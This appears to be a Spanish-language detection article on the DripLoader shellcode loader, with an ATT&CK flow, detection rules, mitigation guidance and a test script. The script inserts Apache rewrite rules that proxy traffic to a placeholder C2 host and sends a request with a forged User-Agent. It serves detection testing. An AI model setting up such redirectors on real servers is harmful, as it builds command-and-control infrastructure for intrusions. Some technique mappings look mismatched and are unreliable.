Malware DripLoader: Ejecución de Shellcode y Evasión de Defensa
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El artículo examina DripLoader, un cargador de shellcode que asigna memoria, escribe shellcode en ella, cambia los permisos de la página a ejecutable y luego lo ejecuta. Cubre cómo se entrega el cargador a través de un redireccionador HTTPS respaldado por el marco Havoc C2, y cómo su código puede ser ofuscado con compresión y llamadas de sistema indirectas. El escrito también presenta una variante mejorada, DripLoaderNG, que se basa en la carga lateral .node y trucos de evasión adicionales, junto con orientación práctica de detección y herramientas de análisis de memoria.
Investigación
La investigación describe una configuración de laboratorio donde Havoc envía shellcode comprimido a través de un redireccionador Apache adaptado. El cargador reserva regiones de 64 KB, compromete páginas de 4 KB, modifica banderas de protección y ejecuta la carga útil. DripLoaderNG introduce llamadas de sistema indirectas y carga lateral de módulos .node dirigidas a la aplicación Electron de Slack. La detección se muestra utilizando herramientas como Moneta, PE-sieve y consultas KQL de soporte.
Mitigación
Los pasos de mitigación incluyen monitorear redireccionamientos HTTPS sospechosos, detectar cadenas de agente de usuario falsificadas, señalar archivos .node raros y aprovechar las funciones EDR para identificar comportamientos de llamadas de sistema indirectas. Otras recomendaciones incluyen ajustar configuraciones de Sliver/Donut para reducir manipulación AMSI y limitar la ejecución de módulos nativos no firmados.
Respuesta
Cuando se detecta actividad, aísle el endpoint afectado, detenga el proceso ofensivo, capture volcados de memoria e inspeccione el shellcode inyectado. Bloquee el dominio o IP de C2, restablezca credenciales expuestas y despliegue reglas defensivas para el agente de usuario específico e indicadores de archivo .node. Siga con un análisis forense y actualice el contenido de detección para cubrir patrones de llamadas de sistema indirectas observados.
mermaid graph TB %% Definición de Clases classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Nodos de Técnicas step_initial_access[«<b>Técnica</b> – <b>T1090 Proxy</b><br /><b>Descripción</b>: Usa redireccionamientos HTTPS y un User-Agent falsificado para entregar cargas maliciosas y establecer comunicaciones de mando y control sobre el tráfico web.»] class step_initial_access technique step_c2[«<b>Técnica</b> – <b>T1102.002 Servicio Web: Comunicación Bidireccional</b><br /><b>Descripción</b>: Se comunica con el atacante a través de servicios web HTTPS, habilitando comando y control bidireccional.»] class step_c2 technique step_obfusc_compress[«<b>Técnica</b> – <b>T1027.015 Compresión</b><br /><b>Descripción</b>: La carga se comprime con LZMS para ocultar su contenido del análisis estático y defensas basadas en firmas.»] class step_obfusc_compress technique step_obfusc_compile[«<b>Técnica</b> – <b>T1027.004 Compilar Después de la Entrega</b><br /><b>Descripción</b>: La carga se compila después de la entrega para evadir aún más la detección.»] class step_obfusc_compile technique step_process_injection[«<b>Técnica</b> – <b>T1055.002 Inyección de Ejecutable Portátil</b><br /><b>Descripción</b>: DripLoader asigna memoria virtual, copia shellcode, cambia protecciones de página y lo ejecuta dentro de un proceso legítimo.»] class step_process_injection technique step_reflective_loading[«<b>Técnica</b> – <b>T1620 Carga de Código Reflectivo</b><br /><b>Descripción</b>: El cargador refleja el shellcode copiado en la memoria y lo ejecuta sin usar el cargador del sistema operativo.»] class step_reflective_loading technique step_dll_injection[«<b>Técnica</b> – <b>T1055.001 Inyección de Biblioteca de Enlace Dinámico</b><br /><b>Descripción</b>: Módulo .node malicioso (un DLL) se carga lateralmente en el proceso de Slack, permitiendo ejecución de código bajo una aplicación confiable.»] class step_dll_injection technique step_persistence[«<b>Técnica</b> – <b>T1546.009 DLLs de Certificación de Aplicaciones</b><br /><b>Descripción</b>: El DLL cargado lateralmente persiste registrándose como un DLL de Certificación de Aplicaciones, asegurando ejecución al iniciar el sistema.»] class step_persistence technique step_evasion_cred_api[«<b>Técnica</b> – <b>T1056.004 Hooking de API de Credenciales</b><br /><b>Descripción</b>: Usa llamadas de sistema indirectas para llamar a APIs nativas de Windows, eludiendo ganchos EDR en modo usuario.»] class step_evasion_cred_api technique step_evasion_indicator_removal[«<b>Técnica</b> – <b>T1027.005 Eliminación de Indicadores de Herramientas</b><br /><b>Descripción</b>: Modifica configuración de Sliver/Donut para deshabilitar parcheo AMSI, previniendo detección por motores antimalware.»] class step_evasion_indicator_removal technique step_evasion_stripped[«<b>Técnica</b> – <b>T1027.008 Payloads Despojados</b><br /><b>Descripción</b>: Elimina información de depuración y metadatos del payload para reducir artefactos forenses.»] class step_evasion_stripped technique step_masquerade[«<b>Técnica</b> – <b>T1036.008 Mascarar Tipo de Archivo</b><br /><b>Descripción</b>: Renombra el archivo .node malicioso para que parezca un módulo nativo legítimo, mezclándose con los archivos de aplicación esperados.»] class step_masquerade technique step_server_component[«<b>Técnica</b> – <b>T1505.003 Componente de Software de Servidor: Shell Web</b><br /><b>Descripción</b>: Transfiere shellcode y binarios del cargador a través del redireccionador web, luego los descomprime y ejecuta en el objetivo.»] class step_server_component technique %% Nodos de Operadores op_obfusc((«AND»)) class op_obfusc operator op_evasion((«AND»)) class op_evasion operator %% Conexiones step_initial_access u002du002d>|conduce_a| step_c2 step_c2 u002du002d>|conduce_a| step_obfusc_compress step_c2 u002du002d>|conduce_a| step_obfusc_compile step_obfusc_compress u002du002d>|parte_de| op_obfusc step_obfusc_compile u002du002d>|parte_de| op_obfusc op_obfusc u002du002d>|conduce_a| step_process_injection step_process_injection u002du002d>|conduce_a| step_reflective_loading step_reflective_loading u002du002d>|conduce_a| step_dll_injection step_dll_injection u002du002d>|conduce_a| step_persistence step_persistence u002du002d>|conduce_a| step_evasion_cred_api step_persistence u002du002d>|conduce_a| step_evasion_indicator_removal step_persistence u002du002d>|conduce_a| step_evasion_stripped step_evasion_cred_api u002du002d>|parte_de| op_evasion step_evasion_indicator_removal u002du002d>|parte_de| op_evasion step_evasion_stripped u002du002d>|parte_de| op_evasion op_evasion u002du002d>|conduce_a| step_masquerade step_masquerade u002du002d>|conduce_a| step_server_component
Flujo de Ataque
Detecciones
Detección de Ejecución de DripLoader Shellcode y Tácticas de Evasión [Servidor Web]
Ver
IOCs (DestinationIP) para detectar: DripLoader: Un Caso de Estudio sobre Ejecución de Shellcode y Evasión
Ver
IOCs (SourceIP) para detectar: DripLoader: Un Caso de Estudio sobre Ejecución de Shellcode y Evasión
Ver
Archivo .node No Firmado Cargado
Ver
Ejecución de Simulación
Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber sido aprobada.
Razón: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico incorrecto.
-
Narrativa de Ataque y Comandos:
Un operador de la infraestructura maliciosa prepara el servidor web víctima para actuar como un conducto hacia el servidor C2. Insertan dosRewriteRuledirectivas en la configuración del host virtual de Apache: una que proxy todo el tráfico entrante ahttps://C2.TeamServer.IP:443([P]con bandera) y la segunda que redirige cualquier solicitud a una URL benigna de Google ([L,R=302]). Después de recargar Apache, el atacante emite una solicitud HTTP ejecutada con la cadena exacta de User-Agent falsa definida en la regla de Sigma. Apache procesa la solicitud, registra el User-Agent, y el motor de reescritura graba la acción de proxy, satisfaciendo ambas condiciones de detección. -
Script de Prueba de Regresión:
#!/usr/bin/env bash # ------------------------------------------------- # Script de validación de detección de DripLoader # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # 1. Respalda la configuración actual sudo cp "$APACHE_CONF" "$BACKUP_CONF" # 2. Inserta reglas maliciosas de reescritura sudo bash -c "cat >> $APACHE_CONF <<'EOF' # INICIO Reglas de Prueba de DripLoader RewriteEngine On RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P] RewriteRule ^.*$ "https://www.google.com" [L,R=302] # FIN Reglas de Prueba de DripLoader EOF" # 3. Recarga Apache para aplicar los cambios sudo systemctl reload apache2 # 4. Emite solicitud maliciosa con el exacto User‑Agent fabricado curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/ echo "Solicitud maliciosa enviada. Verifique SIEM para alerta de detección." -
Comandos de Limpieza:
#!/usr/bin/env bash # ------------------------------------------------- # Limpieza de validación de detección de DripLoader # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # Restaura la configuración original if [[ -f "$BACKUP_CONF" ]]; then sudo cp "$BACKUP_CONF" "$APACHE_CONF" sudo systemctl reload apache2 echo "Configuración original de Apache restaurada." else echo "Respaldo no encontrado; puede ser necesario limpieza manual." fi